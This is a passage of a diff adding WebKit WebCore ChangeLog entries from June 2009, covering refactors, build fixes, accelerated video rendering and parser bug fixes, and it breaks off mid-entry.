+        * platform/image-decoders/ico/ICOImageDecoder.h:
+        * platform/image-decoders/jpeg/JPEGImageDecoder.cpp:
+        (WebCore::JPEGImageDecoder::isSizeAvailable):
+        (WebCore::JPEGImageDecoder::decode):
+        * platform/image-decoders/jpeg/JPEGImageDecoder.h:
+        * platform/image-decoders/png/PNGImageDecoder.cpp:
+        (WebCore::PNGImageDecoder::isSizeAvailable):
+        (WebCore::PNGImageDecoder::decode):
+        * platform/image-decoders/png/PNGImageDecoder.h:
+        * platform/image-decoders/xbm/XBMImageDecoder.cpp:
+        (WebCore::XBMImageDecoder::isSizeAvailable):
+        (WebCore::XBMImageDecoder::frameBufferAtIndex):
+        (WebCore::XBMImageDecoder::decode):
+        * platform/image-decoders/xbm/XBMImageDecoder.h: Rename decodeXBM() to decode() for consistency with the JPEG/PNG decoders, and in the future the ICO/BMP decoders.
+
+2009-06-17  Brent Fulgham  <bfulgham@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Move some common functions out of platform files and into
+        the common implementation.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26425.
+        Add a new platform context method (flush) so that the
+        getWindowsContext method can be consolidated into the common
+        GraphicsContextWin.cpp file.
+         
+        * platform/graphics/cairo/GraphicsContextPlatformPrivateCairo.h:
+        (WebCore::GraphicsContextPlatformPrivate::flush):
+        * platform/graphics/cg/GraphicsContextPlatformPrivateCG.h:
+        (WebCore::GraphicsContextPlatformPrivate::flush):
+        * platform/graphics/win/GraphicsContextCGWin.cpp: Remove
+          getWindowContext method.
+        * platform/graphics/win/GraphicsContextCairoWin.cpp: Remove
+          getWindowContext method and fillWithClearColor methods.
+        * platform/graphics/win/GraphicsContextWin.cpp:
+        (WebCore::fillWithClearColor): Moved from *CairoWin.cpp
+        (WebCore::GraphicsContext::getWindowsContext): Moved
+          from *CairoWin.cpp
+
+2009-06-18  Ojan Vafai  <ojan@chromium.org>
+
+        Reviewed by Oliver Hunt.
+
+        Remove code that I accidentally committed in r44811.
+
+        * editing/markup.cpp:
+        (WebCore::createMarkup):
+
+2009-06-18  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        <rdar://problem/6983207> Non-layer content is not re-rendered when transition
+        starts sometimes (with hardware acceleration).
+        
+        When deciding which RenderLayers should be composited, when a layer goes into
+        compositing mode we repaint the old location. However, we did that before
+        we'd looked at all the factors that may force a layer to composite, so missed
+        some cases. Fix by doing the repaint once we really know whether it's going
+        to composite.
+
+        Test: compositing/repaint/become-overlay-composited-layer.html
+
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::computeCompositingRequirements):
+
+2009-06-18  Simon Fraser  <simon.fraser@apple.com>
+
+        Fix the Leopard build where USE(ACCELERATED_COMPOSITING) is not defined, and
+        the Tiger build where QTMovieLayer does not exist.
+
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.h:
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::createQTMovieLayer):
+        (WebCore::MediaPlayerPrivate::destroyQTMovieLayer):
+        (WebCore::MediaPlayerPrivate::currentRenderingMode):
+        (WebCore::MediaPlayerPrivate::setUpVideoRendering):
+        (WebCore::MediaPlayerPrivate::tearDownVideoRendering):
+        (WebCore::MediaPlayerPrivate::hasSetUpVideoRendering):
+
+2009-06-18  Simon Fraser  <simon.fraser@apple.com>
+
+        Fix the Leopard build where USE(ACCELERATED_COMPOSITING) is not defined.
+
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::currentRenderingMode):
+        (WebCore::MediaPlayerPrivate::setUpVideoRendering):
+        (WebCore::MediaPlayerPrivate::tearDownVideoRendering):
+
+2009-06-17  Erik Arvidsson  <arv@chromium.org>
+
+        Reviewed by Adele Peterson.
+
+        https://bugs.webkit.org/show_bug.cgi?id=15189
+        Adds the HTML5 input event support for textarea.
+        
+        Also, moves the oninput attribute parse handling to HTMLElement so that
+        it can be set on any HTML element so that bubbling events can be handled
+        using HTML attribute handlers.
+
+        Test: fast/forms/textarea-input-event.html
+
+        * html/HTMLElement.cpp:
+        (WebCore::HTMLElement::parseMappedAttribute):
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::parseMappedAttribute):
+        * rendering/RenderTextControlMultiLine.cpp:
+        (WebCore::RenderTextControlMultiLine::subtreeHasChanged):
+
+2009-06-18  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        Share code between filterEffects
+        [https://bugs.webkit.org/show_bug.cgi?id=26479]
+
+        Share more code of filter effects. The imageBuffer creation can move to
+        FilterEffect ant every effect asks for the GraphicsContext. Move the
+        drawingRect calculation to FilterEffect.
+
+        * platform/graphics/filters/FilterEffect.cpp:
+        (WebCore::FilterEffect::calculateDrawingRect):
+        (WebCore::FilterEffect::getEffectContext):
+        * platform/graphics/filters/FilterEffect.h:
+        * platform/graphics/filters/SourceGraphic.cpp:
+        (WebCore::SourceGraphic::apply):
+        * svg/graphics/filters/SVGFEFlood.cpp:
+        (WebCore::FEFlood::apply):
+        * svg/graphics/filters/SVGFEOffset.cpp:
+        (WebCore::FEOffset::apply):
+
+2009-06-18  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dave Hyatt.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=26499
+        
+        Support hardware-accelerationed rendering of video elements.
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::mediaPlayerSawUnsupportedTracks):
+        (WebCore::HTMLMediaElement::mediaPlayerRepaint):
+        Just move these methods to group the render-related methods together.
+        
+        (WebCore::HTMLMediaElement::mediaPlayerRenderingCanBeAccelerated):
+        Call out method to ask the RenderLayerCompositor if presentation of this video
+        can be acclerated. It might say no, if, for example, the video has a reflection.
+        
+        (WebCore::HTMLMediaElement::mediaPlayerGraphicsLayer):
+        Fetch the GraphicsLayer from the RenderVideo that will host the movie layer.
+        
+        * html/HTMLMediaElement.h:
+        Reordered the rendering-related methods, and added two methods related to video
+        acceleration.
+        
+        * platform/graphics/MediaPlayer.cpp:
+        (WebCore::MediaPlayer::acceleratedRenderingStateChanged):
+        Called by the rendering system when it determines that the video must go into, or
+        fall off of the hardware-accelerated path.
+        
+        (WebCore::MediaPlayer::supportsAcceleratedRendering):
+        Method to say whether the media engine supports accelerated rendering.
+        
+        * platform/graphics/MediaPlayer.h:
+        (WebCore::MediaPlayerClient::mediaPlayerRepaint):
+        (WebCore::MediaPlayerClient::mediaPlayerSizeChanged):
+        Moved.
+        
+        (WebCore::MediaPlayerClient::mediaPlayerRenderingCanBeAccelerated):
+        (WebCore::MediaPlayerClient::mediaPlayerGraphicsLayer):
+        New methods to ask the client if the rendering system can support accelerated
+        rendering, and to get a GraphicsLayer to plug the movie layer into.
+        
+        * platform/graphics/MediaPlayerPrivate.h:
+        (WebCore::MediaPlayerPrivateInterface::supportsAcceleratedRendering):
+        (WebCore::MediaPlayerPrivateInterface::acceleratedRenderingStateChanged):
+        Forwarding methods from MediaPlayer.
+        
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.h:
+        Some new methods related to using a QTMovieLayer, and to simplify the rendering mode logic.
+
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::createQTMovieLayer):
+        (WebCore::MediaPlayerPrivate::destroyQTMovieLayer):
+        Methods to create and destroy the QTMovieLayer.
+        
+        (WebCore::MediaPlayerPrivate::currentRenderingMode):
+        (WebCore::MediaPlayerPrivate::preferredRenderingMode):
+        Methods to clarify the code that decides which of the 3 rendering modes to use.
+        
+        (WebCore::MediaPlayerPrivate::setUpVideoRendering):
+        Changed to use the new rendering mode methods.
+        
+        (WebCore::MediaPlayerPrivate::tearDownVideoRendering):
+        Destroy the layer if we have one.
+        
+        (WebCore::MediaPlayerPrivate::hasSetUpVideoRendering):
+        Small utility method.
+        
+        (WebCore::MediaPlayerPrivate::updateStates):
+        Move the call to setUpVideoRendering() to before we send out the state notifications,
+        so that we will have created the rendering objects already.
+        
+        (WebCore::MediaPlayerPrivate::supportsAcceleratedRendering):
+        Return true if we have QTMovieLayer.
+        
+        (WebCore::MediaPlayerPrivate::acceleratedRenderingStateChanged):
+        We've been told that we went into or out of accelerated mode; maybe reset
+        the renderer, and set the layer if we have to.
+        
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::rendererContentChanged):
+        We may need to udpate compositing layers if the video went into accelerated mode.
+        
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::canUseDirectCompositing):
+        Add smarts to deal with video, which allows us to avoid extra backing store.
+        
+        (WebCore::RenderLayerBacking::contentsBox):
+        Use the videoBox to use the content layer for video layers.
+        
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::updateLayerCompositingState):
+        Poke the RenderVideo if the state changed.
+        
+        (WebCore::RenderLayerCompositor::computeCompositingRequirements):
+        Handle an edge case when the video element itself is a stacking context
+        because of opacity or transform.
+        
+        (WebCore::RenderLayerCompositor::canAccelerateVideoRendering):
+        (WebCore::RenderLayerCompositor::requiresCompositingLayer):
+        (WebCore::RenderLayerCompositor::requiresCompositingForVideo):
+        Allow video to throw us into compositing mode if the media engine supports it.
+        
+        * rendering/RenderLayerCompositor.h:
+        New methods related to video.
+        
+        * rendering/RenderVideo.h:
+        * rendering/RenderVideo.cpp:
+        (WebCore::RenderVideo::updatePlayer):
+        Call rendererContentChanged() to give the compositor a change to throw the video into
+        compositing mode.
+        
+        (WebCore::RenderVideo::supportsAcceleratedRendering):
+        (WebCore::RenderVideo::acceleratedRenderingStateChanged):
+        (WebCore::RenderVideo::videoGraphicsLayer):
+        Methods to allow the MediaPlayer to do rendering-related stuff via the media element.
+
+2009-06-18  Rob Buis  <rwlbuis@gmail.com>
+
+        Reviewed by Niko.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26385
+        Root SVG element is not checked on requiredFeatures, requiredExtension like other elements
+
+        Also do the isValid check for outer <svg>.
+
+        Test: svg/custom/outer-svg-unknown-feature.svg
+
+        * svg/SVGDocument.cpp:
+        (WebCore::SVGDocument::childShouldCreateRenderer):
+        * svg/SVGDocument.h:
+
+2009-06-18  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Darin Adler.
+
+        - fix <rdar://problem/6913221> REGRESSION (Safari 3-4): Search field on
+          apple.com cuts entered text
+
+        Test: fast/forms/search-vertical-alignment.html
+
+        * rendering/RenderTextControlSingleLine.cpp:
+        (WebCore::RenderTextControlSingleLine::layout): Vertically center the
+            the search field's inner block.
+
+2009-06-18  Janne Koskinen  <janne.p.koskinen@digia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Fix compilation with Symbian WINSCW compiler, which produced
+        multiple definitions of the CSSPrimitiveValue conversion operators.
+
+        It turns out that they are defined inline but not declared inline.
+
+        Adding the inline keyword to the declaration fixes the build.
+
+        * css/CSSPrimitiveValue.h:
+
+2009-06-18  Markus Goetz <Markus.Goetz@nokia.com>
+
+        Reviewed by Simon Hausman.
+
+        Clarify in docs how to compile with debug information.
+
+        * WebCore.pro:
+
+2009-06-18  Jakub Wieczorek  <faw217@gmail.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] When writing an URL to the clipboard, save the corresponding title
+        in the mime data as well.
+
+        * platform/qt/ClipboardQt.cpp:
+        (WebCore::ClipboardQt::writeURL):
+
+2009-06-18  Jakub Wieczorek  <faw217@gmail.com>
+
+        [Qt] Fix build. Add HTMLDataGridElement.
+
+        * WebCore.pro:
+
+2009-06-18  Jan Michael Alonzo  <jmalonzo@webkit.org>
+
+        Gtk build fix.
+
+        Add HTMLDataGridElement header and IDL to the build script.
+
+        * GNUmakefile.am:
+
+2009-06-18  Chris Evans  <scarybeasts@gmail.com>
+
+        Reviewed by Adam Barth.
+
+        Fix 8-digit long hex entities. Fixes bug 26454
+        https://bugs.webkit.org/show_bug.cgi?id=26454
+
+        Test: fast/parser/eightdigithexentity.html
+
+        * html/HTMLTokenizer.cpp: fix off-by-ones.
+
+2009-06-18  David Levin  <levin@chromium.org>
+
+        Fix chromium linux build.
+
+        Fixes a mistake that happened during the complicated merge for
+        landing r44775, r44776, r44777.
+
+        * rendering/RenderThemeChromiumLinux.cpp:
+        (WebCore::RenderThemeChromiumLinux::create):
+
+2009-06-17  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Darin Adler.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=26499
+        
+        First step to making video rendering be hardware-accelerated:
+        make <video> elements get self-painting RenderLayers, and add
+        an isVideo() virtual method to RenderObject.
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::setReadyState):
+        (WebCore::HTMLMediaElement::mediaPlayerDurationChanged):
+        (WebCore::HTMLMediaElement::mediaPlayerSizeChanged):
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::shouldBeNormalFlowOnly):
+        (WebCore::RenderLayer::isSelfPaintingLayer):
+        * rendering/RenderObject.h:
+        (WebCore::RenderObject::isVideo):
+        * rendering/RenderVideo.h:
+        (WebCore::RenderVideo::requiresLayer):
+        (WebCore::RenderVideo::isVideo):
+
+2009-06-17  Brent Fulgham  <bfulgham@webkit.org>
+
+        Reviewed by Adam Roben.
+
+        Refactor a few common routines in the various Windows ports
+        and reduce some duplicated code.
+
+        (1) Create TransformationMatrix XFORM casting operator, and
+            switch various XFORM structure uses to utilize it.
+        (2) Push concatCTM call to GraphicsContextWin now that the
+            TransformationMatrix can directly create XFORM (rather
+            than converting to CGAffineTransform/cairo_matrix_t first.)
+
+        * WebCore.vcproj/WebCore.vcproj: Add new BitmapInfo structure.
+        * platform/graphics/transforms/TransformationMatrix.h:
+        * platform/graphics/win/GraphicsContextCGWin.cpp:
+        * platform/graphics/win/GraphicsContextCairoWin.cpp:
+        * platform/graphics/win/GraphicsContextWin.cpp:
+        (WebCore::GraphicsContextPlatformPrivate::scale):
+        (WebCore::GraphicsContextPlatformPrivate::rotate):
+        (WebCore::GraphicsContextPlatformPrivate::translate):
+        (WebCore::GraphicsContextPlatformPrivate::concatCTM):
+        * platform/graphics/win/TransformationMatrixWin.cpp: Added.
+        (WebCore::TransformationMatrix::operator XFORM): New operator
+
+2009-06-17  Brent Fulgham  <bfulgham@webkit.org>
+
+        Non-CG Windows build fix after @r44758.
+
+        * rendering/RenderThemeWin.cpp:
+        (WebCore::RenderTheme::themeForPage):
+
+2009-06-17  Brent Fulgham  <bfulgham@webkit.org>
+
+        Reviewed by Adam Roben.
+
+        Refactor a few common routines in the various Windows ports
+        and reduce some duplicated code.
+        https://bugs.webkit.org/show_bug.cgi?id=26425.
+
+        Refactor use of BITMAPINFO for the new BitmapInfo structure.
+
+        * WebCore.vcproj/WebCore.vcproj:
+        * platform/win/BitmapInfo.cpp: Added.
+        (WebCore::bitmapInfoForSize):
+        (WebCore::BitmapInfo::create):
+        (WebCore::BitmapInfo::createBottomUp):
+        * platform/win/BitmapInfo.h: Added.
+        * platform/graphics/win/GraphicsContextCairoWin.cpp:
+        * platform/graphics/win/GraphicsContextCGWin.cpp:
+        * platform/graphics/win/TransformationMatrixWin.cpp: Added.
+        (WebCore::TransformationMatrix::operator XFORM): New operator
+        * platform/win/DragImageCGWin.cpp:
+        (WebCore::allocImage):
+        * platform/win/DragImageCairoWin.cpp:
+        (WebCore::allocImage):
+        * platform/win/PasteboardWin.cpp:
+        (WebCore::Pasteboard::writeImage):
+        * platform/win/PopupMenuWin.cpp:
+        (WebCore::PopupMenu::paint):
+
+2009-06-17  Adam Roben  <aroben@apple.com>
+
+        Remove unnecessary 6th parameter from SOFT_LINK_OPTIONAL
+
+        Reviewed by Mark Rowe.
+
+        * platform/graphics/win/ColorSafari.cpp: Removed the 6th parameter and
+        an unnecessary parameter name.
+        * platform/win/SoftLinking.h: Removed the unused 6th parameter.
+
+2009-06-17  Adam Roben  <aroben@apple.com>
+
+        Make Settings::shouldPaintNativeControls default to true
+
+        This matches the default up in WebKit (that was changed in r43318).
+
+        Fixes Bug 26493: REGRESSION (r44758): First tab always uses Mac-style
+        form controls
+        <https://bugs.webkit.org/show_bug.cgi?id=26493>
+
+        Reviewed by Darin Adler and Dave Hyatt.
+
+        No test possible since DRT always uses Mac-style form controls.
+
+        * page/Settings.cpp: Changed the initial value of
+        gShouldPaintNativeControls to true.
+
+        * rendering/RenderThemeSafari.cpp:
+        (WebCore::RenderTheme::themeForPage): Added a FIXME about the design
+        flaw here involving querying Settings before it's been initialized.
+
+2009-06-17  David Levin  <levin@chromium.org>
+
+        Fix chromium windows build.
+
+        A mistake that happened during the complicated merge for
+        landing r44775, r44776, r44777.
+
+        * rendering/RenderThemeChromiumWin.h:
+        (WebCore::RenderThemeChromiumWin::RenderThemeChromiumWin):
+        (WebCore::RenderThemeChromiumWin::~RenderThemeChromiumWin):
+
+2009-06-17  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        <rdar://problem/6981193> Crash in MediaControlInputElement::attachToParent
+
+        * rendering/MediaControlElements.cpp:
+        (WebCore::MediaTextDisplayElement::attachToParent): NULL check element renderer or parent renderer.
+        (WebCore::MediaControlInputElement::attachToParent): Ditto.
+
+2009-06-17  David Hyatt  <hyatt@apple.com>
+
+        Fix Windows build.  There's no HTMLDataGridElement.cpp file yet.
+
+        * html/HTMLElementsAllInOne.cpp:
+
+2009-06-17  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Adam Roben and Anders Carlsson.
+
+        Stub out the HTMLDataGridElement.
+
+        * DerivedSources.make:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::adjustRenderStyle):
+        * editing/htmlediting.cpp:
+        (WebCore::canHaveChildrenForEditing):
+        * html/HTMLDataGridElement.h: Added.
+        (WebCore::HTMLDataGridElement::HTMLDataGridElement):
+        (WebCore::HTMLDataGridElement::tagPriority):
+        * html/HTMLDataGridElement.idl: Added.
+        * html/HTMLElement.cpp:
+        (WebCore::inlineTagList):
+        * html/HTMLParser.cpp:
+        (WebCore::HTMLParser::isAffectedByResidualStyle):
+        * html/HTMLTagNames.in:
+
+2009-06-17  David Levin  <levin@chromium.org>
+
+        Reviewed by NOBODY (chromium build fix).
+
+        Fix typo in previous changes.
+
+        * rendering/RenderThemeChromiumSkia.cpp:
+        (WebCore::RenderThemeChromiumSkia::defaultGUIFont):
+
+2009-06-17  Albert J. Wong  <ajwong@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26148
+        Remove common code from RenderThemeChromiumWin that is shared with
+        RenderThemeChromiumSkia.
+
+        Also move supportsControlTints to RenderThemeChromiumLinux since it
+        is linux specific.
+
+        There are no tests changed because this just removes functions with
+        duplicate implementations between the base and derived classes.
+
+        * rendering/RenderThemeChromiumLinux.cpp:
+        (WebCore::RenderThemeChromiumLinux::supportsControlTints):
+        * rendering/RenderThemeChromiumLinux.h:
+        * rendering/RenderThemeChromiumSkia.cpp:
+        * rendering/RenderThemeChromiumSkia.h:
+        * rendering/RenderThemeChromiumWin.cpp:
+        (WebCore::):
+        (WebCore::getNonClientMetrics):
+        (WebCore::RenderThemeChromiumWin::RenderThemeChromiumWin):
+        (WebCore::RenderThemeChromiumWin::~RenderThemeChromiumWin):
+        (WebCore::RenderThemeChromiumWin::systemFont):
+        (WebCore::RenderThemeChromiumWin::paintCheckbox):
+        (WebCore::RenderThemeChromiumWin::paintRadio):
+        (WebCore::RenderThemeChromiumWin::paintSliderThumb):
+        (WebCore::RenderThemeChromiumWin::caretBlinkIntervalInternal):
+        * rendering/RenderThemeChromiumWin.h:
+
+2009-06-17  Albert J. Wong  <ajwong@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26148
+        Move RenderThemeChromiumSkia into its own file.  This is purely a code move.
+
+        * rendering/RenderThemeChromiumLinux.cpp:
+        * rendering/RenderThemeChromiumLinux.h:
+        * rendering/RenderThemeChromiumSkia.cpp:
+        (WebCore::):
+        (WebCore::setSizeIfAuto):
+        (WebCore::mediaElementParent):
+        (WebCore::RenderThemeChromiumSkia::defaultGUIFont):
+        (WebCore::RenderThemeChromiumSkia::RenderThemeChromiumSkia):
+        (WebCore::RenderThemeChromiumSkia::~RenderThemeChromiumSkia):
+        (WebCore::RenderThemeChromiumSkia::extraDefaultStyleSheet):
+        (WebCore::RenderThemeChromiumSkia::extraQuirksStyleSheet):
+        (WebCore::RenderThemeChromiumSkia::extraMediaControlsStyleSheet):
+        (WebCore::RenderThemeChromiumSkia::supportsHover):
+        (WebCore::RenderThemeChromiumSkia::supportsFocusRing):
+        (WebCore::RenderThemeChromiumSkia::platformActiveSelectionBackgroundColor):
+        (WebCore::RenderThemeChromiumSkia::platformInactiveSelectionBackgroundColor):
+        (WebCore::RenderThemeChromiumSkia::platformActiveSelectionForegroundColor):
+        (WebCore::RenderThemeChromiumSkia::platformInactiveSelectionForegroundColor):
+        (WebCore::RenderThemeChromiumSkia::platformTextSearchHighlightColor):
+        (WebCore::RenderThemeChromiumSkia::caretBlinkInterval):
+        (WebCore::RenderThemeChromiumSkia::systemFont):
+        (WebCore::RenderThemeChromiumSkia::minimumMenuListSize):
+        (WebCore::RenderThemeChromiumSkia::paintCheckbox):
+        (WebCore::RenderThemeChromiumSkia::setCheckboxSize):
+        (WebCore::RenderThemeChromiumSkia::paintRadio):
+        (WebCore::RenderThemeChromiumSkia::setRadioSize):
+        (WebCore::brightenColor):
+        (WebCore::paintButtonLike):
+        (WebCore::RenderThemeChromiumSkia::paintButton):
+        (WebCore::RenderThemeChromiumSkia::paintTextField):
+        (WebCore::RenderThemeChromiumSkia::paintTextArea):
+        (WebCore::RenderThemeChromiumSkia::paintSearchField):
+        (WebCore::RenderThemeChromiumSkia::adjustSearchFieldCancelButtonStyle):
+        (WebCore::RenderThemeChromiumSkia::paintSearchFieldCancelButton):
+        (WebCore::RenderThemeChromiumSkia::adjustSearchFieldDecorationStyle):
+        (WebCore::RenderThemeChromiumSkia::adjustSearchFieldResultsDecorationStyle):
+        (WebCore::RenderThemeChromiumSkia::paintSearchFieldResultsDecoration):
+        (WebCore::RenderThemeChromiumSkia::adjustSearchFieldResultsButtonStyle):
+        (WebCore::RenderThemeChromiumSkia::paintSearchFieldResultsButton):
+        (WebCore::RenderThemeChromiumSkia::paintMediaButtonInternal):
+        (WebCore::RenderThemeChromiumSkia::paintMediaPlayButton):
+        (WebCore::RenderThemeChromiumSkia::paintMediaMuteButton):
+        (WebCore::RenderThemeChromiumSkia::adjustMenuListStyle):
+        (WebCore::RenderThemeChromiumSkia::paintMenuList):
+        (WebCore::RenderThemeChromiumSkia::adjustMenuListButtonStyle):
+        (WebCore::RenderThemeChromiumSkia::paintMenuListButton):
+        (WebCore::RenderThemeChromiumSkia::popupInternalPaddingLeft):
+        (WebCore::RenderThemeChromiumSkia::popupInternalPaddingRight):
+        (WebCore::RenderThemeChromiumSkia::popupInternalPaddingTop):
+        (WebCore::RenderThemeChromiumSkia::popupInternalPaddingBottom):
+        (WebCore::RenderThemeChromiumSkia::buttonInternalPaddingLeft):
+        (WebCore::RenderThemeChromiumSkia::buttonInternalPaddingRight):
+        (WebCore::RenderThemeChromiumSkia::buttonInternalPaddingTop):
+        (WebCore::RenderThemeChromiumSkia::buttonInternalPaddingBottom):
+        (WebCore::RenderThemeChromiumSkia::caretBlinkIntervalInternal):
+        (WebCore::RenderThemeChromiumSkia::menuListInternalPadding):
+        * rendering/RenderThemeChromiumSkia.h:
+        (WebCore::RenderThemeChromiumSkia::supportsControlTints):
+
+2009-06-17  Albert J. Wong  <ajwong@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26148
+        Extract RenderThemeChromiumSkia out of RenderThemeChromiumLinux.  This
+        is mostly a code shuffle.  The non-suffle changes are:
+           1) Creation of a caretBlinkIntervalInternal.
+           2) Moving of some inline functions into the implementation files.
+           3) Changing of defaultGUIFont into a static class constant from a
+              static function.  Also the type is changed to String.
+           4) Changing of defaultFontSize into a static class constant from a
+              static variable in the file scope.
+           5) The static supportsFocus function was collapsed into
+              supportsFocusRing.
+           6) Split the extraDefaultStyleSheet into Skia and Linux versions.
+
+        * rendering/RenderThemeChromiumLinux.cpp:
+        (WebCore::RenderThemeChromiumSkia::defaultGUIFont):
+        (WebCore::RenderThemeChromiumSkia::RenderThemeChromiumSkia):
+        (WebCore::RenderThemeChromiumSkia::~RenderThemeChromiumSkia):
+        (WebCore::RenderThemeChromiumSkia::extraDefaultStyleSheet):
+        (WebCore::RenderThemeChromiumSkia::extraQuirksStyleSheet):
+        (WebCore::RenderThemeChromiumSkia::extraMediaControlsStyleSheet):
+        (WebCore::RenderThemeChromiumSkia::supportsHover):
+        (WebCore::RenderThemeChromiumSkia::supportsFocusRing):
+        (WebCore::RenderThemeChromiumSkia::platformActiveSelectionBackgroundColor):
+        (WebCore::RenderThemeChromiumSkia::platformInactiveSelectionBackgroundColor):
+        (WebCore::RenderThemeChromiumSkia::platformActiveSelectionForegroundColor):
+        (WebCore::RenderThemeChromiumSkia::platformInactiveSelectionForegroundColor):
+        (WebCore::RenderThemeChromiumSkia::platformTextSearchHighlightColor):
+        (WebCore::RenderThemeChromiumSkia::caretBlinkInterval):
+        (WebCore::RenderThemeChromiumSkia::systemFont):
+        (WebCore::RenderThemeChromiumSkia::minimumMenuListSize):
+        (WebCore::RenderThemeChromiumSkia::paintCheckbox):
+        (WebCore::RenderThemeChromiumSkia::setCheckboxSize):
+        (WebCore::RenderThemeChromiumSkia::paintRadio):
+        (WebCore::RenderThemeChromiumSkia::setRadioSize):
+        (WebCore::RenderThemeChromiumSkia::paintButton):
+        (WebCore::RenderThemeChromiumSkia::paintTextField):
+        (WebCore::RenderThemeChromiumSkia::paintTextArea):
+        (WebCore::RenderThemeChromiumSkia::paintSearchField):
+        (WebCore::RenderThemeChromiumSkia::adjustSearchFieldCancelButtonStyle):
+        (WebCore::RenderThemeChromiumSkia::paintSearchFieldCancelButton):
+        (WebCore::RenderThemeChromiumSkia::adjustSearchFieldDecorationStyle):
+        (WebCore::RenderThemeChromiumSkia::adjustSearchFieldResultsDecorationStyle):
+        (WebCore::RenderThemeChromiumSkia::paintSearchFieldResultsDecoration):
+        (WebCore::RenderThemeChromiumSkia::adjustSearchFieldResultsButtonStyle):
+        (WebCore::RenderThemeChromiumSkia::paintSearchFieldResultsButton):
+        (WebCore::RenderThemeChromiumSkia::paintMediaButtonInternal):
+        (WebCore::RenderThemeChromiumSkia::paintMediaPlayButton):
+        (WebCore::RenderThemeChromiumSkia::paintMediaMuteButton):
+        (WebCore::RenderThemeChromiumSkia::adjustMenuListStyle):
+        (WebCore::RenderThemeChromiumSkia::paintMenuList):
+        (WebCore::RenderThemeChromiumSkia::adjustMenuListButtonStyle):
+        (WebCore::RenderThemeChromiumSkia::paintMenuListButton):
+        (WebCore::RenderThemeChromiumSkia::popupInternalPaddingLeft):
+        (WebCore::RenderThemeChromiumSkia::popupInternalPaddingRight):
+        (WebCore::RenderThemeChromiumSkia::popupInternalPaddingTop):
+        (WebCore::RenderThemeChromiumSkia::popupInternalPaddingBottom):
+        (WebCore::RenderThemeChromiumSkia::buttonInternalPaddingLeft):
+        (WebCore::RenderThemeChromiumSkia::buttonInternalPaddingRight):
+        (WebCore::RenderThemeChromiumSkia::buttonInternalPaddingTop):
+        (WebCore::RenderThemeChromiumSkia::buttonInternalPaddingBottom):
+        (WebCore::RenderThemeChromiumSkia::caretBlinkIntervalInternal):
+        (WebCore::RenderThemeChromiumLinux::RenderThemeChromiumLinux):
+        (WebCore::RenderThemeChromiumLinux::~RenderThemeChromiumLinux):
+        (WebCore::RenderThemeChromiumLinux::systemColor):
+        (WebCore::RenderThemeChromiumLinux::extraDefaultStyleSheet):
+        (WebCore::RenderThemeChromiumSkia::menuListInternalPadding):
+        * rendering/RenderThemeChromiumLinux.h:
+
+2009-06-17  Adam Roben  <aroben@apple.com>
+
+        Add a SOFT_LINK_OPTIONAL macro
+
+        This macro is useful when soft-linking functions that are present in
+        only some versions of a particular library (e.g., APIs added in
+        Windows Vista that aren't available on Windows XP).
+
+        Reviewed by Ada Chan.
+
+        * platform/graphics/win/ColorSafari.cpp:
+        (WebCore::focusRingColor):
+        Use the SoftLinking.h macros instead of doing the soft-link ourselves.
+        Also removed an unused call to focusRingColor.isValid().
+
+        * platform/win/SoftLinking.h: Added SOFT_LINK_OPTIONAL.
+
+2009-06-17  Brent Fulgham  <bfulgham@webkit.org>
+
+        Reviewed by Gustavo Noronha.
+
+        Fixes: https://bugs.webkit.org/show_bug.cgi?id=26470.
+        The use of zero-width or zero-height rectangles in generating
+        gradients caused Windows Cairo to crash, and webkitgtk to
+        produce invalid images.
+
+        We now test for NaN in the phase argument, which is calculated
+        using fmodf and can blow up when the width/height values passed
+        are zero.
+
+        Test: fast/gradients/border-image-gradient-sides-and-corners.html
+
+        * platform/graphics/cairo/ImageCairo.cpp:
+        (WebCore::Image::drawPattern):
+
+2009-06-17  Ojan Vafai  <ojan@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        If loading a font fails because of the sandbox, we ask the browser process to
+        try to load it by calling ensureFontLoaded. If it still fails after
+        ensureFontLoaded, we hit a ASSERT_NOT_REACHED.
+
+        This case happens once in a while during browser shutdown. The browser will
+        queue a message to the renderer to shutdown, and will then stop answering sync
+        messages from the renderer. If the renderer is still loading a page during this
